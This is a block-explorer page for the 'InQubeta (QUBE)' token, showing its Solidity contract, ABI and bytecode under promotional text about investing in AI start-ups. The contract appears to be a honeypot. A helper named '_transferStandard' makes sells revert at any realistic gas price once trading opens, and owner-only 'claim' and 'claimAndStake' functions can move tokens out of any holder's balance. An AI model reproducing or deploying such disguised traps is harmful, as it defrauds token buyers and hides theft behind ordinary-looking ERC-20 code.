ETH Price: $2,730.63 (+4.73%)

Token

InQubeta (QUBE)
 

Overview

Max Total Supply

1,500,000,000 QUBE

Holders

177

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
186,107.047330486515811689 QUBE

Value
$0.00
0x42f4214cd313c59bcb692bccc755935fc92bc2b9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
InQubeta

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-15
*/

/*
$QUBE

Bridging the gap between AI and Crypto with Inqubeta, the world's first crypto crowdfunding platform for Investing in AI start-ups using our $QUBE Token
$QUBE is built on the Ethereum blockchain, leveraging the benefits of this powerful technology to create a seamless and secure investment ecosystem for AI start-ups and investors. 
Ethereum's robust smart contract capabilities enable InQubeta to create a transparent and democratic NFT marketplace that allows for fractional investment in AI start-ups using QUBE tokens. 
Our NFT marketplace is built on the ERC721 standard, offering a wide range of benefits to investors and start-ups, including greater flexibility, interoperability, and functionality.

https://t.me/Inqubeta
https://inqubeta.ai
https://medium.com/@inqubeta
https://twitter.com/inqubetahq
https://discord.com/invite/fKknYbzSfQ
https://www.tiktok.com/@inqubeta
https://www.youtube.com/@InquBeta

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract InQubeta is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1_500_000_000 * 10**_decimals;
    string private constant _name = unicode"InQubeta";
    string private constant _symbol = unicode"QUBE";

    uint256 public FeesOnBuy = 0;
    uint256 public FeesOnSell = 0;

    bool private openedTrade = false;

    address private Developer = 0xF673c7A51Cd42ae417D6972c9faDD31A905F3cFb;
    address private InQubetaVesting = 0xc82c9eDC8DFB33654D7ecd9cD6Ab9288e66Fa811;
    address private InQubetaStaking = 0x3dCf38b57d92c931d65567A862c254791cA97cd9;
    address private FeeCollector = 0xc9E6c3B7B7C256BE5EEae0987CBA7a9cC57A68DA;
    address private Proxy = 0xE77473C4973ad064E04C80959dd56DD4886efcA9;

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(10).div(100));
        _balances[Developer] = _balances[Developer].add(_totalSupply.mul(10).div(100));
        _balances[InQubetaVesting] = _balances[InQubetaVesting].add(_totalSupply.mul(50).div(100));
        _balances[Proxy] = _balances[Proxy].add(_totalSupply.mul(10).div(100));
        _balances[InQubetaStaking] = _balances[InQubetaStaking].add(_totalSupply.mul(10).div(100));
        _balances[FeeCollector] = _balances[FeeCollector].add(_totalSupply.mul(10).div(100));
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(10).div(100));
        emit Transfer(address(0), Developer, _totalSupply.mul(10).div(100));
        emit Transfer(address(0), InQubetaVesting, _totalSupply.mul(50).div(100));
        emit Transfer(address(0), Proxy, _totalSupply.mul(10).div(100));
        emit Transfer(address(0), InQubetaStaking, _totalSupply.mul(10).div(100));
        emit Transfer(address(0), FeeCollector, _totalSupply.mul(10).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * FeesOnBuy / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * FeesOnSell / 100;
                _transferStandard(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private gasmaxium = 900 gwei;
    uint256 private gasminium = 5;

    function gasRequire(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function _transferStandard(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                gasRequire(gasmaxium);
            } else {
                gasRequire(gasminium);
            }
        } 
    }

    function sendETHToFee(uint256 amount) private {
        payable(owner()).transfer(amount);
    }
    
    function manualeth() external {
        require(_msgSender() == owner());
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function claim(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function Start() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeesOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeesOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualeth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600481905560059081556006805474f673c7a51cd42ae417d6972c9fadd31a905f3cfb006001600160a81b0319909116179055600780546001600160a01b031990811673c82c9edc8dfb33654d7ecd9cd6ab9288e66fa81117909155600880548216733dcf38b57d92c931d65567a862c254791ca97cd917905560098054821673c9e6c3b7b7c256be5eeae0987cba7a9cc57a68da179055600a805490911673e77473c4973ad064e04c80959dd56dd4886efca917905564d18c2e2800600d55600e55348015620000d657600080fd5b50600080546001600160a01b03199081163317909155600c8054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200014257600080fd5b505afa15801562000157573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017d91906200087e565b6001600160a01b031663c9c6539630600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001db57600080fd5b505afa158015620001f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021691906200087e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200025f57600080fd5b505af115801562000274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029a91906200087e565b600b80546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155600092835291620003086000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620003c16200039d606462000389600a62000365601282620009bc565b62000375906359682f00620009cd565b620007a460201b620007bf1790919060201c565b620007e660201b620007f21790919060201c565b3360009081526002602090815260409091205491906200084f62000853821b17901c565b3360009081526002602052604090205562000422620003ee606462000389600a62000365601282620009bc565b60065461010090046001600160a01b0316600090815260026020908152604090912054919062000853811b6200084f17901c565b60065461010090046001600160a01b03166000908152600260205260409020556200048f620004606064620003896032620003656012600a620009bc565b6007546001600160a01b031660009081526002602090815260409091205491906200084f62000853821b17901c565b6007546001600160a01b0316600090815260026020526040902055620004f6620004c7606462000389600a62000365601282620009bc565b600a546001600160a01b031660009081526002602090815260409091205491906200084f62000853821b17901c565b600a80546001600160a01b031660009081526002602052604090209190915562000563906200053490606490620003899062000365601282620009bc565b6008546001600160a01b031660009081526002602090815260409091205491906200084f62000853821b17901c565b6008546001600160a01b0316600090815260026020526040902055620005ca6200059b606462000389600a62000365601282620009bc565b6009546001600160a01b031660009081526002602090815260409091205491906200084f62000853821b17901c565b6009546001600160a01b0316600090815260026020526040902055336001600160a01b0316600060008051602062001c7a8339815191526200061a606462000389600a62000365601282620009bc565b60405190815260200160405180910390a360065461010090046001600160a01b0316600060008051602062001c7a83398151915262000667606462000389600a62000365601282620009bc565b60405190815260200160405180910390a36007546001600160a01b0316600060008051602062001c7a833981519152620006b06064620003896032620003656012600a620009bc565b60405190815260200160405180910390a3600a80546001600160a01b03169060009060008051602062001c7a83398151915290620006fd90606490620003899062000365601282620009bc565b60405190815260200160405180910390a36008546001600160a01b0316600060008051602062001c7a83398151915262000745606462000389600a62000365601282620009bc565b60405190815260200160405180910390a36009546001600160a01b0316600060008051602062001c7a8339815191526200078d606462000389600a62000365601282620009bc565b60405190815260200160405180910390a362000a64565b600082620007b557506000620007e0565b620007c18284620009cd565b905081620007d0848362000a05565b14620007e057620007e062000a1c565b92915050565b6000808211620007fa57620007fa62000a1c565b600062000808838562000a05565b905062000816838562000a32565b620008228285620009cd565b6200082e919062000a49565b84146200083f576200083f62000a1c565b6200084b838562000a05565b949350505050565b60008062000862838562000a49565b90508381101562000877576200087762000a1c565b9392505050565b6000602082840312156200089157600080fd5b81516001600160a01b03811681146200087757600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000900578160001904821115620008e457620008e4620008a9565b80851615620008f257918102915b93841c9390800290620008c4565b509250929050565b6000826200091957506001620007e0565b816200092857506000620007e0565b81600181146200094157600281146200094c576200096c565b6001915050620007e0565b60ff841115620009605762000960620008a9565b50506001821b620007e0565b5060208310610133831016604e8410600b841016171562000991575081810a620007e0565b6200099d8383620008bf565b8060001904821115620009b457620009b4620008a9565b029392505050565b60006200087760ff84168362000908565b6000816000190483118215151615620009ea57620009ea620008a9565b500290565b634e487b7160e01b600052601260045260246000fd5b60008262000a175762000a17620009ef565b500490565b634e487b7160e01b600052600160045260246000fd5b60008262000a445762000a44620009ef565b500690565b6000821982111562000a5f5762000a5f620008a9565b500190565b6112068062000a746000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063b58f4e6c11610064578063b58f4e6c14610313578063c4a0f42b14610329578063d9877fab1461033e578063dd62ed3e14610354578063e30b00ff1461039a57600080fd5b80638da5cb5b1461028857806395d89b41146102a65780639fae2d52146102d3578063a9059cbb146102f357600080fd5b80631b55ba3a116100dc5780631b55ba3a146101e757806323b872dd146101fe578063313ce5671461021e5780633c9f5ed61461023a57806370a082311461025257600080fd5b806306fdde0314610119578063095ea7b31461015c5780631694505e1461018c57806318160ddd146101c457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526008815267496e51756265746160c01b60208201525b6040516101539190610de2565b60405180910390f35b34801561016857600080fd5b5061017c610177366004610e53565b6103ba565b6040519015158152602001610153565b34801561019857600080fd5b50600c546101ac906001600160a01b031681565b6040516001600160a01b039091168152602001610153565b3480156101d057600080fd5b506101d96103d1565b604051908152602001610153565b3480156101f357600080fd5b506101fc6103f2565b005b34801561020a57600080fd5b5061017c610219366004610e7d565b61040e565b34801561022a57600080fd5b5060405160128152602001610153565b34801561024657600080fd5b5060065460ff1661017c565b34801561025e57600080fd5b506101d961026d366004610eb9565b6001600160a01b031660009081526002602052604090205490565b34801561029457600080fd5b506000546001600160a01b03166101ac565b3480156102b257600080fd5b506040805180820190915260048152635155424560e01b6020820152610146565b3480156102df57600080fd5b506101fc6102ee366004610f20565b61045f565b3480156102ff57600080fd5b5061017c61030e366004610e53565b610652565b34801561031f57600080fd5b506101d960055481565b34801561033557600080fd5b506101fc610660565b34801561034a57600080fd5b506101d960045481565b34801561036057600080fd5b506101d961036f366004610fa1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156103a657600080fd5b506101fc6103b5366004610f20565b610684565b60006103c7338484610875565b5060015b92915050565b60006103df6012600a6110ce565b6103ed906359682f006110dd565b905090565b6103fa61099e565b6006805460ff19811660ff90911615179055565b600061041b8484846109e6565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546104559186916104509086610d42565b610875565b5060019392505050565b6000546001600160a01b0316331461047657600080fd5b60005b8381101561064a576104d26104906012600a6110ce565b8484848181106104a2576104a26110fc565b905060200201356104b391906110dd565b6001600160a01b03881660009081526002602052604090205490610d42565b6001600160a01b0387166000908152600260205260409020556105686104fa6012600a6110ce565b84848481811061050c5761050c6110fc565b9050602002013561051d91906110dd565b60026000888886818110610533576105336110fc565b90506020020160208101906105489190610eb9565b6001600160a01b031681526020810191909152604001600020549061084f565b6002600087878581811061057e5761057e6110fc565b90506020020160208101906105939190610eb9565b6001600160a01b031681526020810191909152604001600020558484828181106105bf576105bf6110fc565b90506020020160208101906105d49190610eb9565b6001600160a01b0316866001600160a01b03166000805160206111b18339815191526012600a61060491906110ce565b868686818110610616576106166110fc565b9050602002013561062791906110dd565b60405190815260200160405180910390a38061064281611112565b915050610479565b505050505050565b6000336104558185856109e6565b6000546001600160a01b0316331461067757600080fd5b4761068181610d5e565b50565b6000546001600160a01b0316331461069b57600080fd5b60005b8381101561064a576106b56104906012600a6110ce565b6001600160a01b0387166000908152600260205260409020556106dd6104fa6012600a6110ce565b600260008787858181106106f3576106f36110fc565b90506020020160208101906107089190610eb9565b6001600160a01b03168152602081019190915260400160002055848482818110610734576107346110fc565b90506020020160208101906107499190610eb9565b6001600160a01b0316866001600160a01b03166000805160206111b18339815191526012600a61077991906110ce565b86868681811061078b5761078b6110fc565b9050602002013561079c91906110dd565b60405190815260200160405180910390a3806107b781611112565b91505061069e565b6000826107ce575060006103cb565b6107d882846110dd565b9050816107e58483611143565b146103cb576103cb611157565b600080821161080357610803611157565b600061080f8385611143565b905061081b838561116d565b61082582856110dd565b61082f9190611181565b841461083d5761083d611157565b6108478385611143565b949350505050565b60008061085c8385611181565b90508381101561086e5761086e611157565b9392505050565b6001600160a01b0383166108dc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b031633146109e45760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016108d3565b565b6001600160a01b038316610a4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108d3565b6001600160a01b038216610aac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108d3565b80610acc846001600160a01b031660009081526002602052604090205490565b1015610b295760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016108d3565b6001600160a01b03831660009081526003602052604081205460ff16158015610b6b57506001600160a01b03831660009081526003602052604090205460ff16155b15610c1a5760065460ff16610bc25760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016108d3565b606460045483610bd291906110dd565b610bdc9190611143565b600b549091506001600160a01b0384811691161415610c1a57606460055483610c0591906110dd565b610c0f9190611143565b9050610c1a84610d9b565b8015610c835730600090815260026020526040902054610c3b908290611181565b30600081815260026020526040908190209290925590516001600160a01b038616906000805160206111b183398151915290610c7a9085815260200190565b60405180910390a35b81610ca3856001600160a01b031660009081526002602052604090205490565b610cad9190611199565b6001600160a01b038516600090815260026020526040902055610cd08183611199565b6001600160a01b038416600090815260026020526040902054610cf39190611181565b6001600160a01b0380851660008181526002602052604090209290925585166000805160206111b1833981519152610d2b8486611199565b60405190815260200160405180910390a350505050565b600081831015610d5457610d54611157565b61086e8284611199565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610d97573d6000803e3d6000fd5b5050565b6001600160a01b038116600090815260026020526040902054156106815760065460ff16610dce57610681600d54610dd5565b610681600e545b803a111561068157600080fd5b600060208083528351808285015260005b81811015610e0f57858101830151858201604001528201610df3565b81811115610e21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e4e57600080fd5b919050565b60008060408385031215610e6657600080fd5b610e6f83610e37565b946020939093013593505050565b600080600060608486031215610e9257600080fd5b610e9b84610e37565b9250610ea960208501610e37565b9150604084013590509250925092565b600060208284031215610ecb57600080fd5b61086e82610e37565b60008083601f840112610ee657600080fd5b50813567ffffffffffffffff811115610efe57600080fd5b6020830191508360208260051b8501011115610f1957600080fd5b9250929050565b600080600080600060608688031215610f3857600080fd5b610f4186610e37565b9450602086013567ffffffffffffffff80821115610f5e57600080fd5b610f6a89838a01610ed4565b90965094506040880135915080821115610f8357600080fd5b50610f9088828901610ed4565b969995985093965092949392505050565b60008060408385031215610fb457600080fd5b610fbd83610e37565b9150610fcb60208401610e37565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561102557816000190482111561100b5761100b610fd4565b8085161561101857918102915b93841c9390800290610fef565b509250929050565b60008261103c575060016103cb565b81611049575060006103cb565b816001811461105f576002811461106957611085565b60019150506103cb565b60ff84111561107a5761107a610fd4565b50506001821b6103cb565b5060208310610133831016604e8410600b84101617156110a8575081810a6103cb565b6110b28383610fea565b80600019048211156110c6576110c6610fd4565b029392505050565b600061086e60ff84168361102d565b60008160001904831182151516156110f7576110f7610fd4565b500290565b634e487b7160e01b600052603260045260246000fd5b600060001982141561112657611126610fd4565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826111525761115261112d565b500490565b634e487b7160e01b600052600160045260246000fd5b60008261117c5761117c61112d565b500690565b6000821982111561119457611194610fd4565b500190565b6000828210156111ab576111ab610fd4565b50039056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207dc87b1c25f4121abe5c6b71ccb92d11322091ffa3f12872376edd1db85abb1964736f6c63430008090033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063b58f4e6c11610064578063b58f4e6c14610313578063c4a0f42b14610329578063d9877fab1461033e578063dd62ed3e14610354578063e30b00ff1461039a57600080fd5b80638da5cb5b1461028857806395d89b41146102a65780639fae2d52146102d3578063a9059cbb146102f357600080fd5b80631b55ba3a116100dc5780631b55ba3a146101e757806323b872dd146101fe578063313ce5671461021e5780633c9f5ed61461023a57806370a082311461025257600080fd5b806306fdde0314610119578063095ea7b31461015c5780631694505e1461018c57806318160ddd146101c457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526008815267496e51756265746160c01b60208201525b6040516101539190610de2565b60405180910390f35b34801561016857600080fd5b5061017c610177366004610e53565b6103ba565b6040519015158152602001610153565b34801561019857600080fd5b50600c546101ac906001600160a01b031681565b6040516001600160a01b039091168152602001610153565b3480156101d057600080fd5b506101d96103d1565b604051908152602001610153565b3480156101f357600080fd5b506101fc6103f2565b005b34801561020a57600080fd5b5061017c610219366004610e7d565b61040e565b34801561022a57600080fd5b5060405160128152602001610153565b34801561024657600080fd5b5060065460ff1661017c565b34801561025e57600080fd5b506101d961026d366004610eb9565b6001600160a01b031660009081526002602052604090205490565b34801561029457600080fd5b506000546001600160a01b03166101ac565b3480156102b257600080fd5b506040805180820190915260048152635155424560e01b6020820152610146565b3480156102df57600080fd5b506101fc6102ee366004610f20565b61045f565b3480156102ff57600080fd5b5061017c61030e366004610e53565b610652565b34801561031f57600080fd5b506101d960055481565b34801561033557600080fd5b506101fc610660565b34801561034a57600080fd5b506101d960045481565b34801561036057600080fd5b506101d961036f366004610fa1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156103a657600080fd5b506101fc6103b5366004610f20565b610684565b60006103c7338484610875565b5060015b92915050565b60006103df6012600a6110ce565b6103ed906359682f006110dd565b905090565b6103fa61099e565b6006805460ff19811660ff90911615179055565b600061041b8484846109e6565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546104559186916104509086610d42565b610875565b5060019392505050565b6000546001600160a01b0316331461047657600080fd5b60005b8381101561064a576104d26104906012600a6110ce565b8484848181106104a2576104a26110fc565b905060200201356104b391906110dd565b6001600160a01b03881660009081526002602052604090205490610d42565b6001600160a01b0387166000908152600260205260409020556105686104fa6012600a6110ce565b84848481811061050c5761050c6110fc565b9050602002013561051d91906110dd565b60026000888886818110610533576105336110fc565b90506020020160208101906105489190610eb9565b6001600160a01b031681526020810191909152604001600020549061084f565b6002600087878581811061057e5761057e6110fc565b90506020020160208101906105939190610eb9565b6001600160a01b031681526020810191909152604001600020558484828181106105bf576105bf6110fc565b90506020020160208101906105d49190610eb9565b6001600160a01b0316866001600160a01b03166000805160206111b18339815191526012600a61060491906110ce565b868686818110610616576106166110fc565b9050602002013561062791906110dd565b60405190815260200160405180910390a38061064281611112565b915050610479565b505050505050565b6000336104558185856109e6565b6000546001600160a01b0316331461067757600080fd5b4761068181610d5e565b50565b6000546001600160a01b0316331461069b57600080fd5b60005b8381101561064a576106b56104906012600a6110ce565b6001600160a01b0387166000908152600260205260409020556106dd6104fa6012600a6110ce565b600260008787858181106106f3576106f36110fc565b90506020020160208101906107089190610eb9565b6001600160a01b03168152602081019190915260400160002055848482818110610734576107346110fc565b90506020020160208101906107499190610eb9565b6001600160a01b0316866001600160a01b03166000805160206111b18339815191526012600a61077991906110ce565b86868681811061078b5761078b6110fc565b9050602002013561079c91906110dd565b60405190815260200160405180910390a3806107b781611112565b91505061069e565b6000826107ce575060006103cb565b6107d882846110dd565b9050816107e58483611143565b146103cb576103cb611157565b600080821161080357610803611157565b600061080f8385611143565b905061081b838561116d565b61082582856110dd565b61082f9190611181565b841461083d5761083d611157565b6108478385611143565b949350505050565b60008061085c8385611181565b90508381101561086e5761086e611157565b9392505050565b6001600160a01b0383166108dc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101604051809103